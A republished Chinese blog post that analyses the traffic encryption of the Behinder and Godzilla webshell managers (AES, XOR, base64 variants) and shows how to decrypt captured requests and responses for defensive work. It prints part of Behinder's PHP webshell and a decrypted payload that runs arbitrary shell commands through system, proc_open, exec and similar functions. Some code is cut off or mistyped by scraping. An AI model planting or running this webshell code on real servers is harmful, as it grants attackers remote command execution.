iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >流量加密怎么办?主流webshell管理工具流量解密分析【附解密脚本】
  • 733
分享到

流量加密怎么办?主流webshell管理工具流量解密分析【附解密脚本】

php开发语言网络安全经验分享 2023-09-12 21:09:42 733人浏览 安东尼
摘要

一、引言 某行动在即,本文基于冰蝎Behinder_v3.0.11和哥斯拉v4.00-Godzilla,对它们的加解密方式进行识别和分析【附简易解密脚本】,希望能在行动中助大家一臂之力。 二、冰蝎 冰蝎加密机制,通过阅读代码可知分为四类,

一、引言

某行动在即,本文基于冰蝎Behinder_v3.0.11和哥斯拉v4.00-Godzilla,对它们的加解密方式进行识别和分析【附简易解密脚本】,希望能在行动中助大家一臂之力。

二、冰蝎

冰蝎加密机制,通过阅读代码可知分为四类,即jsp,PHP,aspx,asp。

 2.1 php 

阅读php木马脚本:

ion_start();    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond  $_SESSION['k']=$key;  session_write_close();  $post=file_get_contents("php://input");  if(!extension_loaded('openssl'))  {    $t="base64_"."decode";    $post=$t($post."");        for($i=0;$i

阅读代码可知,在有openssl的情况下冰蝎会使用openssl进行aes128解密,在没有的情况下使用异或解密。

以一次cmd执行为例进行分析为例:

抓取请求进行AES128解密,得到如下代码,与冰蝎源码中的php payload互相对应:

@error_reporting(0);function getSafeStr($str){    $s1 = iconv('utf-8','gbk//IGNORE',$str);    $s0 = iconv('gbk','utf-8//IGNORE',$s1);    if($s0 == $str){        return $s0;    }else{        return iconv('gbk','utf-8//IGNORE',$str);    }}function main($cmd,$path){    @set_time_limit(0);    @ignore_user_abort(1);    @ini_set('max_execution_time', 0);    $result = array();    $PadtJn = @ini_get('disable_functions');    if (! empty($PadtJn)) {        $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);        $PadtJn = explode(',', $PadtJn);        $PadtJn = array_map('trim', $PadtJn);    } else {        $PadtJn = array();    }    $c = $cmd;    if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {        $c = $c . " 2>&1\n";    }    $JueQDBH = 'is_callable';    $Bvce = 'in_array';    if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {        ob_start();        system($c);        $kWJW = ob_get_contents();        ob_end_clean();    } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {        $handle = proc_open($c, array(            array(                'pipe',                'r'            ),            array(                'pipe',                'w'            ),            array(                'pipe',                'w'            )        ), $pipes);        $kWJW = NULL;        while (! feof($pipes[1])) {            $kWJW .= fread($pipes[1], 1024);        }        @proc_close($handle);    } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {        ob_start();        passthru($c);        $kWJW = ob_get_contents();        ob_end_clean();    } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {        $kWJW = shell_exec($c);    } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {        $kWJW = array();        exec($c, $kWJW);        $kWJW = join(chr(10), $kWJW) . chr(10);    } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {        $fp = popen($c, 'r');        $kWJW = NULL;        if (is_resource($fp)) {            while (! feof($fp)) {                $kWJW .= fread($fp, 1024);            }        }        @pclose($fp);    } else {        $kWJW = 0;        $result["status"] = base64_encode("fail");        $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");        $key = $_SESSION['k'];        echo encrypt(JSON_encode($result), $key);        return;            }    $result["status"] = base64_encode("success");    $result["msg"] = base64_encode(getSafeStr($kWJW));    echo encrypt(json_encode($result),  $_SESSION['k']);}function encrypt($data,$key){  if(!extension_loaded('openssl'))      {        for($i=0;$i

其中cmd参数即为所传输命令的base64编码,并且可以得出响应体的加密与请求所用方式一致。

对响应体解密,可以得到如下信息:

其中,status与msg均为base64编码,解开即可得到明文。

其他操作类型同理,均可解密为明文。

 2.2 ASP 

由冰蝎代码可知asp使用xor加密

public static byte[] EncryptForAsp(byte[] bs, String key) throws Exception {         for(int i = 0; i < bs.length; ++i) {             bs[i] ^= key.getBytes()[i + 1 & 15];         }          return bs;     }

结合asp脚本,分析的出asp请求和响应使用xor加密可以解析;

响应格式与php相同,status与msg均为base64编码,解开即可得到明文。

 2.3 CSharp 

通过阅读源码可知,aspx使用的AES/CBC/PKCS5Padding,iv为key。

public static byte[] EncryptForCSharp(byte[] bs, String key) throws Exception {         byte[] raw = key.getBytes("utf-8");         IvParameterSpec iv = new IvParameterSpec(raw);         SecreTKEySpec skeySpec = new SecretKeySpec(raw, "AES");         Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");         cipher.init(1, skeySpec, iv);         byte[] encrypted = cipher.doFinal(bs);         return encrypted;     }

由于aspx的payload为dll文件,请求解密后为pe文件格式,可将文件转存后用ida进行分析。

响应解密出来同样是一个json:

对应信息也需要base64解码为明文。

 2.4 java 

冰蝎对jsp,jspx系列的处理是一致的。阅读源码可知,使用的是AES/ECB/PKCS5Padding.

public static byte[] DecryptForJava(byte[] bs, String key) throws Exception {         byte[] raw = key.getBytes("utf-8");         SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");         Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");         cipher.init(2, skeySpec);         byte[] decrypted = cipher.doFinal(bs);         return decrypted;     }

由于传输的文件为java的class文件,请求解密后为class文件格式,可将文件转存后用idea进行分析。

响应解密出来同样是json,对应信息也需要base64节码为明文。

三、哥斯拉

相比于冰蝎,哥斯拉可选的加密方式就有很多种了,每一种都对应着一个server脚本。

且除了xor的加密方式,响应都会经过findstr函数,首尾各去掉的16位

 3.1 phpXor 

3.1.1 PhpEvalXor

分析代码及流量,请求为明文可执行代码+加密数据,响应为去掉首尾后,先解base64然后解xor。

关键代码如下:

public byte[] decode(byte[] data) {    if (data != null && data.length > 0) {        try {            return this.D(this.findStr(data));        } catch (Exception var3) {            Log.error(var3);            return null;        }    } else {        return data;    }}public byte[] D(String data) {    byte[] cs = functions.base64Decode(data);    int len = cs.length;    for(int i = 0; i < len; ++i) {        cs[i] ^= this.key[i + 1 & 15];    }    return cs;}

3.1.2 PhpXor

分析代码及流量,请求位xor+base64,响应为去掉首尾后,xor+base64

关键代码如下:

public byte[] encode(byte[] data) {    try {        return this.E(data);    } catch (Exception var3) {        Log.error(var3);        return null;    }}public byte[] decode(byte[] data) {    if (data != null && data.length > 0) {        try {            return this.D(this.findStr(data));        } catch (Exception var3) {            Log.error(var3);            return null;        }    } else {        return data;    }}public byte[] E(byte[] cs) {    int len = cs.length;    for(int i = 0; i < len; ++i) {        cs[i] ^= this.key[i + 1 & 15];    }    return (this.pass + "=" + URLEncoder.encode(functions.base64EncodeToString(cs))).getBytes();}public byte[] D(String data) {    byte[] cs = functions.base64Decode(data);    int len = cs.length;    for(int i = 0; i < len; ++i) {        cs[i] ^= this.key[i + 1 & 15];    }    return cs;}

3.1.3 PhpXorRaw

分析代码及流量,请求为xor,响应为xor

关键代码如下:

public byte[] encode(byte[] data) {    try {        return this.E(data);    } catch (Exception var3) {        Log.error(var3);        return null;    }}public byte[] decode(byte[] data) {    if (data != null && data.length > 0) {        try {            return this.D(data);        } catch (Exception var3) {            Log.error(var3);            return null;        }    } else {        return data;    }}public byte[] E(byte[] cs) {    int len = cs.length;    for(int i = 0; i < len; ++i) {        cs[i] ^= this.key[i + 1 & 15];    }    return cs;}public byte[] D(byte[] cs) {    int len = cs.length;    for(int i = 0; i < len; ++i) {        cs[i] ^= this.key[i + 1 & 15];    }    return cs;}

 3.2 JavaAes 

3.2.1 JavaAesBase64

请求响应均为为aes+base64,key就是参数key,模式为ECB

关键代码如下:

this.encodeCipher = Cipher.getInstance("AES");this.decodeCipher = Cipher.getInstance("AES");this.encodeCipher.init(1, new SecretKeySpec(this.key.getBytes(), "AES"));this.decodeCipher.init(2, new SecretKeySpec(this.key.getBytes(), "AES"));public byte[] encode(byte[] data) {    try {        return (this.pass + "=" + URLEncoder.encode(functions.base64EncodeToString(this.encodeCipher.doFinal(data)))).getBytes();    } catch (Exception var3) {        Log.error(var3);        return null;    }}public byte[] decode(byte[] data) {    try {        data = functions.base64Decode(this.findStr(data));        return this.decodeCipher.doFinal(data);    } catch (Exception var3) {        Log.error(var3);        return null;    }}

3.2.2 JavaAesRaw

请求响应均为为aes,key就是参数key,模式为ECB

关键代码如下:

this.encodeCipher = Cipher.getInstance("AES");this.decodeCipher = Cipher.getInstance("AES");this.encodeCipher.init(1, new SecretKeySpec(this.key.getBytes(), "AES"));this.decodeCipher.init(2, new SecretKeySpec(this.key.getBytes(), "AES"));public byte[] encode(byte[] data) {    try {        return this.encodeCipher.doFinal(data);    } catch (Exception var3) {        Log.error(var3);        return null;    }}public byte[] decode(byte[] data) {    try {        return this.decodeCipher.doFinal(data);    } catch (Exception var3) {        Log.error(var3);        return null;    }}

 3.3 CShapAes 

3.3.1 CShapAesBase64

请求响应均为为aes+base64,key就是参数key,iv也是参数key,模式为CBC

关键代码如下:

this.encodeCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");this.decodeCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");this.encodeCipher.init(1, new SecretKeySpec(this.key.getBytes(), "AES"), new IvParameterSpec(this.key.getBytes()));this.decodeCipher.init(2, new SecretKeySpec(this.key.getBytes(), "AES"), new IvParameterSpec(this.key.getBytes()));public byte[] encode(byte[] data) {        try {            return (this.pass + "=" + URLEncoder.encode(functions.base64Encode(this.encodeCipher.doFinal(data)))).getBytes();        } catch (Exception var3) {            Log.error(var3);            return null;        }    }public byte[] decode(byte[] data) {    try {        data = functions.base64Decode(this.findStr(data));        return this.decodeCipher.doFinal(data);    } catch (Exception var3) {        Log.error(var3);        return null;    }}

3.3.2 CShapAesRaw

请求响应均为为aes,key就是参数key,iv也是参数key,模式为CBC

关键代码如下:

this.encodeCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");this.decodeCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");this.encodeCipher.init(1, new SecretKeySpec(this.key.getBytes(), "AES"), new IvParameterSpec(this.key.getBytes()));this.decodeCipher.init(2, new SecretKeySpec(this.key.getBytes(), "AES"), new IvParameterSpec(this.key.getBytes()));public byte[] encode(byte[] data) {    try {        return this.encodeCipher.doFinal(data);    } catch (Exception var3) {        Log.error(var3);        return null;    }}public byte[] decode(byte[] data) {    try {        return this.decodeCipher.doFinal(data);    } catch (Exception var3) {        Log.error(var3);        return null;    }}

3.3.3 CSharpEvalAesBase64

请求为明文可执行代码+加密数据,请求响应为aes,key就是参数key,iv也是参数key,模式为CBC

关键代码如下:

this.encodeCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");this.decodeCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");this.encodeCipher.init(1, new SecretKeySpec(this.key.getBytes(), "AES"), new IvParameterSpec(this.key.getBytes()));this.decodeCipher.init(2, new SecretKeySpec(this.key.getBytes(), "AES"), new IvParameterSpec(this.key.getBytes()));public byte[] encode(byte[] data) {    try {        return (String.fORMat("%s=%s&", this.pass, this.evalContent) + this.shell.getSecretKey() + "=" + URLEncoder.encode(functions.base64Encode(this.encodeCipher.doFinal(data)))).getBytes();    } catch (Exception var3) {        Log.error(var3);        return null;    }}public byte[] decode(byte[] data) {    try {        data = functions.base64Decode(this.findStr(data));        return this.decodeCipher.doFinal(data);    } catch (Exception var3) {        Log.error(var3);        return null;    }}

3.3.4 CShapAsmxAesBase64

asmx加密方式与CShapAesBase64一致,只是传参变成xml格式

 3.4 aspXor 

asp系列的有一个改变就是非raw的首位16位填充变为了6位

3.4.1 AspRaw

抓包可以看到通信是明文的不需要解密

public byte[] encode(byte[] data) {        try {            return data;        } catch (Exception var3) {            Log.error(var3);            return null;        }    }    public byte[] decode(byte[] data) {        if (data != null && data.length > 0) {            try {                return data;            } catch (Exception var3) {                Log.error(var3);                return null;            }        } else {            return data;        }    }

3.4.2 AspBase64

加密方式为base64,响应首尾填充6位

 public byte[] encode(byte[] data) {        try {            return this.E(data);        } catch (Exception var3) {            Log.error(var3);            return null;        }    }    public byte[] decode(byte[] data) {        if (data != null && data.length > 0) {            try {                return this.D(this.findStr(data));            } catch (Exception var3) {                Log.error(var3);                return null;            }        } else {            return data;        }    }            public byte[] E(byte[] cs) {        return (this.pass + "=" + URLEncoder.encode(functions.base64EncodeToString(cs))).getBytes();    }    public byte[] D(String data) {        byte[] cs = functions.base64Decode(data);        return cs;    }

3.4.3 AspEvalBase64

请求为明文转送一部分代码,并将执行数据作为代码中一个变量传输,响应为base64首尾填充6位

public byte[] E(byte[] cs) {        return (this.pass + "=" + this.chopperRequest + "&" + this.shell.getSecretKey() + "=" + URLEncoder.encode(functions.base64EncodeToString(cs))).getBytes();    }    public byte[] D(String data) {        byte[] cs = functions.base64Decode(data);        return cs;    }

3.4.4 AspXorBae64

加密方式为base64+xor

响应首尾填充6位

public byte[] encode(byte[] data) {        try {            return this.E(data);        } catch (Exception var3) {            Log.error(var3);            return null;        }    }    public byte[] decode(byte[] data) {        if (data != null && data.length > 0) {            try {                return this.D(this.findStr(data));            } catch (Exception var3) {                Log.error(var3);                return null;            }        } else {            return data;        }    }    protected void decryption(byte[] data, byte[] key) {        int len = data.length;        int keyLen = key.length;        int index = false;        for(int i = 1; i <= len; ++i) {            int index = i - 1;            data[index] ^= key[i % keyLen];        }    }    public byte[] E(byte[] cs) {        this.decryption(cs, this.key);        return (this.pass + "=" + URLEncoder.encode(functions.base64EncodeToString(cs))).getBytes();    }    public byte[] D(String data) {        byte[] cs = functions.base64Decode(data);        this.decryption(cs, this.key);        return cs;    }

3.4.5 AspXorRaw

加密方式为xor

其中,super.decryption即为xor函数

public byte[] encode(byte[] data) {         try {             super.decryption(data, this.key);             return data;         } catch (Exception var3) {             Log.error(var3);             return null;         }     }      public byte[] decode(byte[] data) {         if (data != null && data.length > 0) {             try {                 super.decryption(data, this.key);                 return data;             } catch (Exception var3) {                 Log.error(var3);                 return null;             }         } else {             return data;         }     }

四、解密脚本

点击获取解密脚本链接

使用方法:

按照加密类型、key和pass,初始化类。然后输入字节流形式的请求/响应体,调用相应的加/解密函数即可。

如下例子:

```pythondecrypter = PHP_XOR_BASE64(pass_='pass', key='3c6e0b8a9c15224a')data = decrypter.decrypt_req_payload(b'pass=DlMRWA1cL1gOVDc2MjRhRwZFEQ==')print(data)data = decrypter.decrypt_res_payload(b'72a9c691ccdaab98fL1tMGI4YTljO/79NDQm7r9PZzBiOA==b4c4e1f6DDD2a488')print(data)```

来源地址:https://blog.csdn.net/C20220511/article/details/125870447

--结束END--

本文标题: 流量加密怎么办?主流webshell管理工具流量解密分析【附解密脚本】

本文链接: https://www.lsjlt.com/news/405169.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • 流量加密怎么办?主流webshell管理工具流量解密分析【附解密脚本】
    一、引言 某行动在即,本文基于冰蝎Behinder_v3.0.11和哥斯拉v4.00-godzilla,对它们的加解密方式进行识别和分析【附简易解密脚本】,希望能在行动中助大家一臂之力。 二、冰蝎 冰蝎加密机制,通过阅读代码可知分为四类,...
    99+
    2023-09-12
    php 开发语言 网络安全 经验分享
  • 轻量应用服务器流量限制怎么解除设置密码
    如果您想要在应用服务器中进行流量限制,您可以按照以下步骤进行操作: 在应用服务器的控制台中创建一个新的用户组或者账户并设置您的密码: 在组或账户对话框中,选择“创建新用户”,然后单击“确定”。 在此处,您将会看到一个新的管理员账户(如果...
    99+
    2023-10-26
    流量 密码 服务器
  • 云服务器限制流量吗怎么解除设置密码
    当您使用云服务器时,通常需要配置不同的网络设置,以便在不同的网络条件下都能够获得最佳的性能和响应时间。一些常见的网络设置包括IP地址限制、端口限制、DNS服务器限制等。这些设置可以帮助您根据自己的需求选择最合适的云服务器提供商,并防止在使用...
    99+
    2023-10-27
    流量 密码 服务器
  • 云服务器限制流量吗怎么解除不了密码
    如果您担心限制流量会限制服务器性能,您可以尝试以下方法来解决这个问题: 升级服务器硬件:您可以考虑升级服务器硬件,如更换服务器CPU、增加内存、升级硬盘等,这些升级都可以提高服务器的性能,从而避免限制流量的情况发生。 使用负载均衡器:负...
    99+
    2023-10-28
    流量 密码 服务器
  • 轻量应用服务器流量限制怎么解除设置密码忘了
    如果您忘记了轻量应用服务器的访问密码,您可以按照以下步骤进行操作: 登录轻量应用服务器的客户端。 在“账户信息”页面中,输入您的账户名称、密码和指纹验证码,以确保您输入的信息正确。 点击“登录并访问”按钮以登录轻量应用服务器。 输入账户...
    99+
    2023-10-26
    流量 密码 服务器
  • 云服务器限制流量吗怎么解除不了密码呢
    检查流量限制:在访问云服务器时,您应该确保您的流量不超过云服务器的限制。如果您访问的网站超过了云服务器的限制,您应该联系云服务器的客户支持团队,以了解是否可以恢复您的访问权限。 查看限制条件:确保您了解自己访问的网站是否受到限制。如果您看...
    99+
    2023-10-28
    流量 密码 服务器
  • 云服务器限制流量吗怎么解除绑定手机号和密码
    首先,云服务器可以让您根据实际需求随时随地访问计算资源。如果您需要使用某些特定的计算资源,比如图片和视频处理,那么您可以在云服务器中创建虚拟机并将其上传到云服务器中,这样就不需要在本地安装和管理任何软件。当您下载或上传文件时,您可以从云服务...
    99+
    2023-10-27
    手机号 绑定 流量
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作